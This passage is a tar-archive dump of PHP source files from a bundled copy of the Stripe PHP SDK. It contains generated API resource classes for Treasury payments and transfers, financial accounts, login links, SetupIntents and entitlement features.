OpenAPI spec namespace Stripe\Treasury; /** * Use OutboundPayments to send funds to another party's external bank account or <a href="https://stripe.com/docs/api#financial_accounts">FinancialAccount</a>. To send money to an account belonging to the same user, use an <a href="https://stripe.com/docs/api#outbound_transfers">OutboundTransfer</a>. * * Simulate OutboundPayment state changes with the <code>/v1/test_helpers/treasury/outbound_payments</code> endpoints. These methods can only be called on test mode objects. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property bool $cancelable Returns <code>true</code> if the object can be canceled, and <code>false</code> otherwise. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $customer ID of the <a href="https://stripe.com/docs/api/customers">customer</a> to whom an OutboundPayment is sent. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string $destination_payment_method The PaymentMethod via which an OutboundPayment is sent. This field can be empty if the OutboundPayment was created using <code>destination_payment_method_data</code>. * @property null|\Stripe\StripeObject $destination_payment_method_details Details about the PaymentMethod for an OutboundPayment. * @property null|\Stripe\StripeObject $end_user_details Details about the end user. * @property int $expected_arrival_date The date when funds are expected to arrive in the destination account. * @property string $financial_account The FinancialAccount that funds were pulled from. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $returned_details Details about a returned OutboundPayment. Only set when the status is <code>returned</code>. * @property string $statement_descriptor The description that appears on the receiving end for an OutboundPayment (for example, bank statement for external bank transfer). * @property string $status Current status of the OutboundPayment: <code>processing</code>, <code>failed</code>, <code>posted</code>, <code>returned</code>, <code>canceled</code>. An OutboundPayment is <code>processing</code> if it has been created and is pending. The status changes to <code>posted</code> once the OutboundPayment has been "confirmed" and funds have left the account, or to <code>failed</code> or <code>canceled</code>. If an OutboundPayment fails to arrive at its destination, its status will change to <code>returned</code>. * @property \Stripe\StripeObject $status_transitions * @property null|\Stripe\StripeObject $tracking_details Details about network-specific tracking information if available. * @property string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class OutboundPayment extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.outbound_payment'; const STATUS_CANCELED = 'canceled'; const STATUS_FAILED = 'failed'; const STATUS_POSTED = 'posted'; const STATUS_PROCESSING = 'processing'; const STATUS_RETURNED = 'returned'; /** * Creates an OutboundPayment. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of OutboundPayments sent from the specified FinancialAccount. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\OutboundPayment> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing OutboundPayment by passing the unique * OutboundPayment ID from either the OutboundPayment creation request or * OutboundPayment list. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundPayment the canceled outbound payment */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/InboundTransfer.php�����������������������������������������������������0000644�����������������00000013470�14720677707�0015737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * Use <a href="https://stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers">InboundTransfers</a> to add funds to your <a href="https://stripe.com/docs/api#financial_accounts">FinancialAccount</a> via a PaymentMethod that is owned by you. The funds will be transferred via an ACH debit. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property bool $cancelable Returns <code>true</code> if the InboundTransfer is able to be canceled. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|\Stripe\StripeObject $failure_details Details about this InboundTransfer's failure. Only set when status is <code>failed</code>. * @property string $financial_account The FinancialAccount that received the funds. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property \Stripe\StripeObject $linked_flows * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $origin_payment_method The origin payment method to be debited for an InboundTransfer. * @property null|\Stripe\StripeObject $origin_payment_method_details Details about the PaymentMethod for an InboundTransfer. * @property null|bool $returned Returns <code>true</code> if the funds for an InboundTransfer were returned after the InboundTransfer went to the <code>succeeded</code> state. * @property string $statement_descriptor Statement descriptor shown when funds are debited from the source. Not all payment networks support <code>statement_descriptor</code>. * @property string $status Status of the InboundTransfer: <code>processing</code>, <code>succeeded</code>, <code>failed</code>, and <code>canceled</code>. An InboundTransfer is <code>processing</code> if it is created and pending. The status changes to <code>succeeded</code> once the funds have been "confirmed" and a <code>transaction</code> is created and posted. The status changes to <code>failed</code> if the transfer fails. * @property \Stripe\StripeObject $status_transitions * @property null|string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class InboundTransfer extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.inbound_transfer'; const STATUS_CANCELED = 'canceled'; const STATUS_FAILED = 'failed'; const STATUS_PROCESSING = 'processing'; const STATUS_SUCCEEDED = 'succeeded'; /** * Creates an InboundTransfer. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of InboundTransfers sent from the specified FinancialAccount. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\InboundTransfer> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing InboundTransfer. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer the canceled inbound transfer */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/DebitReversal.php�������������������������������������������������������0000644�����������������00000010105�14720677707�0015357 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * You can reverse some <a href="https://stripe.com/docs/api#received_debits">ReceivedDebits</a> depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in cents) transferred. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $financial_account The FinancialAccount to reverse funds from. * @property null|string $hosted_regulatory_receipt_url A <a href="https://stripe.com/docs/treasury/moving-money/regulatory-receipts">hosted transaction receipt</a> URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. * @property null|\Stripe\StripeObject $linked_flows Other flows linked to a DebitReversal. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $network The rails used to reverse the funds. * @property string $received_debit The ReceivedDebit being reversed. * @property string $status Status of the DebitReversal * @property \Stripe\StripeObject $status_transitions * @property null|string|\Stripe\Treasury\Transaction $transaction The Transaction associated with this object. */ class DebitReversal extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.debit_reversal'; const NETWORK_ACH = 'ach'; const NETWORK_CARD = 'card'; const STATUS_FAILED = 'failed'; const STATUS_PROCESSING = 'processing'; const STATUS_SUCCEEDED = 'succeeded'; /** * Reverses a ReceivedDebit and creates a DebitReversal object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\DebitReversal the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of DebitReversals. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\DebitReversal> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a DebitReversal object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\DebitReversal */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Treasury/FinancialAccount.php����������������������������������������������������0000644�����������������00000014437�14720677707�0016041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Treasury; /** * Stripe Treasury provides users with a container for money called a FinancialAccount that is separate from their Payments balance. * FinancialAccounts serve as the source and destination of Treasury’s money movement APIs. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string[] $active_features The array of paths to active Features in the Features hash. * @property \Stripe\StripeObject $balance Balance information for the FinancialAccount * @property string $country Two-letter country code (<a href="https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2">ISO 3166-1 alpha-2</a>). * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|\Stripe\Treasury\FinancialAccountFeatures $features Encodes whether a FinancialAccount has access to a particular Feature, with a <code>status</code> enum and associated <code>status_details</code>. Stripe or the platform can control Features via the requested field. * @property \Stripe\StripeObject[] $financial_addresses The set of credentials that resolve to a FinancialAccount. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string[] $pending_features The array of paths to pending Features in the Features hash. * @property null|\Stripe\StripeObject $platform_restrictions The set of functionalities that the platform can restrict on the FinancialAccount. * @property null|string[] $restricted_features The array of paths to restricted Features in the Features hash. * @property string $status The enum specifying what state the account is in. * @property \Stripe\StripeObject $status_details * @property string[] $supported_currencies The currencies the FinancialAccount can hold a balance in. Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. */ class FinancialAccount extends \Stripe\ApiResource { const OBJECT_NAME = 'treasury.financial_account'; use \Stripe\ApiOperations\Update; const STATUS_CLOSED = 'closed'; const STATUS_OPEN = 'open'; /** * Creates a new FinancialAccount. For now, each connected account can only have * one FinancialAccount. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccount the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of FinancialAccounts. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\FinancialAccount> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a FinancialAccount. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccount */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the details of a FinancialAccount. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccount the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccountFeatures the retrieved financial account features */ public function retrieveFeatures($params = null, $opts = null) { $url = $this->instanceUrl() . '/features'; list($response, $opts) = $this->_request('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccountFeatures the updated financial account features */ public function updateFeatures($params = null, $opts = null) { $url = $this->instanceUrl() . '/features'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/LoginLink.php��������������������������������������������������������������������0000644�����������������00000001343�14720677707�0012700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Login Links are single-use URLs for a connected account to access the Express Dashboard. The connected account's <a href="/api/accounts/object#account_object-controller-stripe_dashboard-type">account.controller.stripe_dashboard.type</a> must be <code>express</code> to have access to the Express Dashboard. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $url The URL for the login link. */ class LoginLink extends ApiResource { const OBJECT_NAME = 'login_link'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/SetupIntent.php������������������������������������������������������������������0000644�����������������00000027255�14720677707�0013306 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. * For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. * Later, you can use <a href="https://stripe.com/docs/api#payment_intents">PaymentIntents</a> to drive the payment flow. * * Create a SetupIntent when you're ready to collect your customer's payment credentials. * Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. * The SetupIntent transitions through multiple <a href="https://docs.stripe.com/payments/intents#intent-statuses">statuses</a> as it guides * you through the setup process. * * Successful SetupIntents result in payment credentials that are optimized for future payments. * For example, cardholders in <a href="https://stripe.com/guides/strong-customer-authentication">certain regions</a> might need to be run through * <a href="https://docs.stripe.com/strong-customer-authentication">Strong Customer Authentication</a> during payment method collection * to streamline later <a href="https://docs.stripe.com/payments/setup-intents">off-session payments</a>. * If you use the SetupIntent with a <a href="https://stripe.com/docs/api#setup_intent_object-customer">Customer</a>, * it automatically attaches the resulting payment method to that Customer after successful setup. * We recommend using SetupIntents or <a href="https://stripe.com/docs/api#payment_intent_object-setup_future_usage">setup_future_usage</a> on * PaymentIntents to save payment methods to prevent saving invalid or unoptimized payment methods. * * By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. * * Related guide: <a href="https://docs.stripe.com/payments/setup-intents">Setup Intents API</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\Application $application ID of the Connect application that created the SetupIntent. * @property null|bool $attach_to_self <p>If present, the SetupIntent's payment method will be attached to the in-context Stripe Account.</p><p>It can only be used for this Stripe Account’s own money movement flows like InboundTransfer and OutboundTransfers. It cannot be set to true when setting up a PaymentMethod for a Customer, and defaults to false when attaching a PaymentMethod to a Customer.</p> * @property null|\Stripe\StripeObject $automatic_payment_methods Settings for dynamic payment methods compatible with this Setup Intent * @property null|string $cancellation_reason Reason for cancellation of this SetupIntent, one of <code>abandoned</code>, <code>requested_by_customer</code>, or <code>duplicate</code>. * @property null|string $client_secret <p>The client secret of this SetupIntent. Used for client-side retrieval using a publishable key.</p><p>The client secret can be used to complete payment setup from your frontend. It should not be stored, logged, or exposed to anyone other than the customer. Make sure that you have TLS enabled on any page that includes the client secret.</p> * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\Customer $customer <p>ID of the Customer this SetupIntent belongs to, if one exists.</p><p>If present, the SetupIntent's payment method will be attached to the Customer on successful setup. Payment methods attached to other Customers cannot be used with this SetupIntent.</p> * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string[] $flow_directions <p>Indicates the directions of money movement for which this payment method is intended to be used.</p><p>Include <code>inbound</code> if you intend to use the payment method as the origin to pull funds from. Include <code>outbound</code> if you intend to use the payment method as the destination to send funds to. You can include both if you intend to use the payment method for both purposes.</p> * @property null|\Stripe\StripeObject $last_setup_error The error encountered in the previous SetupIntent confirmation. * @property null|string|\Stripe\SetupAttempt $latest_attempt The most recent SetupAttempt for this SetupIntent. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string|\Stripe\Mandate $mandate ID of the multi use Mandate generated by the SetupIntent. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $next_action If present, this property tells you what actions you need to take in order for your customer to continue payment setup. * @property null|string|\Stripe\Account $on_behalf_of The account (if any) for which the setup is intended. * @property null|string|\Stripe\PaymentMethod $payment_method ID of the payment method used with this SetupIntent. * @property null|\Stripe\StripeObject $payment_method_configuration_details Information about the payment method configuration used for this Setup Intent. * @property null|\Stripe\StripeObject $payment_method_options Payment method-specific configuration for this SetupIntent. * @property string[] $payment_method_types The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. * @property null|string|\Stripe\Mandate $single_use_mandate ID of the single_use Mandate generated by the SetupIntent. * @property string $status <a href="https://stripe.com/docs/payments/intents#intent-statuses">Status</a> of this SetupIntent, one of <code>requires_payment_method</code>, <code>requires_confirmation</code>, <code>requires_action</code>, <code>processing</code>, <code>canceled</code>, or <code>succeeded</code>. * @property string $usage <p>Indicates how the payment method is intended to be used in the future.</p><p>Use <code>on_session</code> if you intend to only reuse the payment method when the customer is in your checkout flow. Use <code>off_session</code> if your customer may or may not be in your checkout flow. If not provided, this value defaults to <code>off_session</code>.</p> */ class SetupIntent extends ApiResource { const OBJECT_NAME = 'setup_intent'; use ApiOperations\Update; const CANCELLATION_REASON_ABANDONED = 'abandoned'; const CANCELLATION_REASON_DUPLICATE = 'duplicate'; const CANCELLATION_REASON_REQUESTED_BY_CUSTOMER = 'requested_by_customer'; const STATUS_CANCELED = 'canceled'; const STATUS_PROCESSING = 'processing'; const STATUS_REQUIRES_ACTION = 'requires_action'; const STATUS_REQUIRES_CONFIRMATION = 'requires_confirmation'; const STATUS_REQUIRES_PAYMENT_METHOD = 'requires_payment_method'; const STATUS_SUCCEEDED = 'succeeded'; /** * Creates a SetupIntent object. * * After you create the SetupIntent, attach a payment method and <a * href="/docs/api/setup_intents/confirm">confirm</a> it to collect any required * permissions to charge the payment method later. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of SetupIntents. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SetupIntent> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a SetupIntent that has previously been created. * * Client-side retrieval using a publishable key is allowed when the * <code>client_secret</code> is provided in the query string. * * When retrieved with a publishable key, only a subset of properties will be * returned. Please refer to the <a href="#setup_intent_object">SetupIntent</a> * object reference for more details. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a SetupIntent object. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent the canceled setup intent */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent the confirmed setup intent */ public function confirm($params = null, $opts = null) { $url = $this->instanceUrl() . '/confirm'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SetupIntent the verified setup intent */ public function verifyMicrodeposits($params = null, $opts = null) { $url = $this->instanceUrl() . '/verify_microdeposits'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Entitlements/Feature.php���������������������������������������������������������0000644�����������������00000007405�14720677707�0015065 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Entitlements; /** * A feature represents a monetizable ability or functionality in your system. * Features can be assigned to products, and when those products are purchased, Stripe will create an entitlement to the feature for the purchasing customer. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Inactive features cannot be attached to new products and will not be returned from the features list endpoint. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $lookup_key A unique key you provide as your own system identifier. This may be up to 80 characters. * @property \Stripe\StripeObject $metadata Set of key-value pairs that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $name The feature's name, for your own purpose, not meant to be displayable to the customer. */ class Feature extends \Stripe\ApiResource { const OBJECT_NAME = 'entitlements.feature'; use \Stripe\ApiOperations\Update; /** * Creates a feature. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\Feature the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Retrieve a list of features. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Entitlements\Feature> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a feature. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\Feature */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Update a feature’s metadata or permanently deactivate it. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\Feature the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Entitlements/ActiveEntitlement.php�����������������������������������������������0000644�����������������00000003730�14720677707�0017113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Entitlements; /** * An active entitlement describes access to a feature for a customer. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string|\Stripe\Entitlements\Feature $feature The <a href="https://stripe.com/docs/api/entitlements/feature">Feature</a> that the customer is entitled to. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $lookup_key A unique key you provide as your own system identifier. This may be up to 80 characters. */ class ActiveEntitlement extends \Stripe\ApiResource { const OBJECT_NAME = 'entitlements.active_entitlement'; /** * Retrieve a list of active entitlements for a customer. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Entitlements\ActiveEntitlement> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieve an active entitlement. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Entitlements\ActiveEntitlement */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } 